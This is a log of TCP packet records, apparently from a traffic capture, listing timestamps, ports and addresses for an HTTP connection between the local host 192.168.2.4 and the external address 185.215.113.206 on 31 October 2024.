Oct 31, 2024 07:14:30.506877899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.506894112 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.506961107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.506970882 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.506980896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.506992102 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507002115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507006884 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.507014036 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507040024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.507057905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.507065058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507080078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507091045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507102013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507107973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.507122993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.507152081 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.507247925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507258892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507275105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507285118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507292032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.507294893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507318020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.507337093 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.507556915 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507601976 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.507633924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507643938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507662058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507671118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507678032 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.507683039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507709026 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507714033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.507720947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507730961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.507760048 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.507771015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.507867098 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507879019 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507889986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507925034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.507936954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.507952929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507963896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507973909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.507992983 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.508013010 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.508160114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.508177996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.508189917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.508210897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.508230925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.508230925 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.508263111 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.508268118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.508280039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.508291006 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.508304119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.508322954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.508733034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.508744955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.508755922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.508766890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.508780003 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.508785009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.508801937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.508821011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.550695896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.550705910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.550750017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.581469059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.581505060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.581515074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.581583977 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.581605911 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.595998049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.596084118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.596180916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.596194029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.596204996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.596216917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.596229076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.596280098 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.625921965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.625931025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.625941992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.625952005 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.625963926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.625973940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.625986099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.625996113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.626008034 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.626012087 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.626049995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.626058102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.626060963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.626072884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.626090050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.626123905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.626130104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.626141071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.626173973 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.626215935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.626226902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.626236916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.626260996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.626275063 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.626332045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.626374960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.626375914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.626415014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.662096024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.667049885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.950475931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.950504065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.950602055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.950650930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.950660944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.950678110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.950687885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.950695992 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.950706959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.950707912 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.950717926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.950732946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.950773954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.950794935 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.950805902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.950815916 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.950845003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.950861931 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.950907946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.950918913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.950928926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.950962067 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.950974941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.951031923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951044083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951086044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951090097 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.951098919 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951119900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951129913 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951133966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.951164961 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.951323032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951334953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951353073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951361895 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.951363087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951380968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951390028 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.951394081 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951416016 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.951442003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.951611996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951622963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951633930 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951656103 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.951663017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951678038 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.951706886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.951813936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951823950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951836109 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:30.951853991 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.951870918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:30.951885939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.069650888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.069684029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.069691896 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.069698095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.069717884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.069730043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.069741964 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.069753885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.069768906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.069777966 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.069812059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.069819927 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.069830894 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.069858074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.069864035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.069880009 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.069890976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.069904089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.069905043 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.069931030 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.069950104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.069989920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070003986 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070050001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.070086002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070097923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070110083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070133924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.070174932 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.070184946 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070215940 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070225954 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.070229053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070261002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.070262909 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070276022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070287943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070291996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.070308924 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.070329905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.070525885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070545912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070559978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070574045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070575953 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.070602894 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.070610046 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.070718050 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070768118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.070812941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070826054 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070837975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070852041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070864916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.070889950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.070935011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070979118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.070980072 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.070991993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.071027040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.071058035 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.071070910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.071082115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.071094990 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.071113110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.071120024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.071120024 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.071126938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.071146965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.071160078 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.113945961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.114130020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.114139080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.114147902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.114168882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.114197969 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.188730955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.188741922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.188751936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.188828945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.188855886 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.188875914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.188889027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.188930988 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.189018011 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189068079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.189100027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189124107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189152002 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.189166069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.189184904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189196110 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189203024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189219952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189274073 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.189336061 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189392090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.189419031 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189429045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189439058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189449072 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189470053 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.189519882 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.189552069 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189562082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189572096 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189584017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189594030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189605951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189650059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.189682007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189692974 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189716101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189724922 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.189733982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189743042 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.189747095 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189758062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189769030 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189776897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.189781904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.189795017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.189824104 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.190155029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190166950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190177917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190206051 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.190212965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190224886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190228939 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.190237045 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190267086 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.190296888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.190443993 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190464020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190474987 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190490007 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.190512896 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.190574884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190593958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190606117 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190617085 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190628052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.190629959 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190642118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190656900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.190681934 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.190833092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190881968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190891981 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.190893888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190907001 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.190929890 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.190943956 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.233021021 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.233042002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.233051062 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.233140945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.274791956 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.274827957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.274858952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.274878025 CET	49758	80	192.168.2.4	185.215.113.206
Oct 31, 2024 07:14:31.513500929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513513088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513530970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513549089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513561010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513571024 CET	80	49758	185.215.113.206	192.168.2.4
Oct 31, 2024 07:14:31.513576984 CET	49758	80	192.168.2.4	185.215.113.206
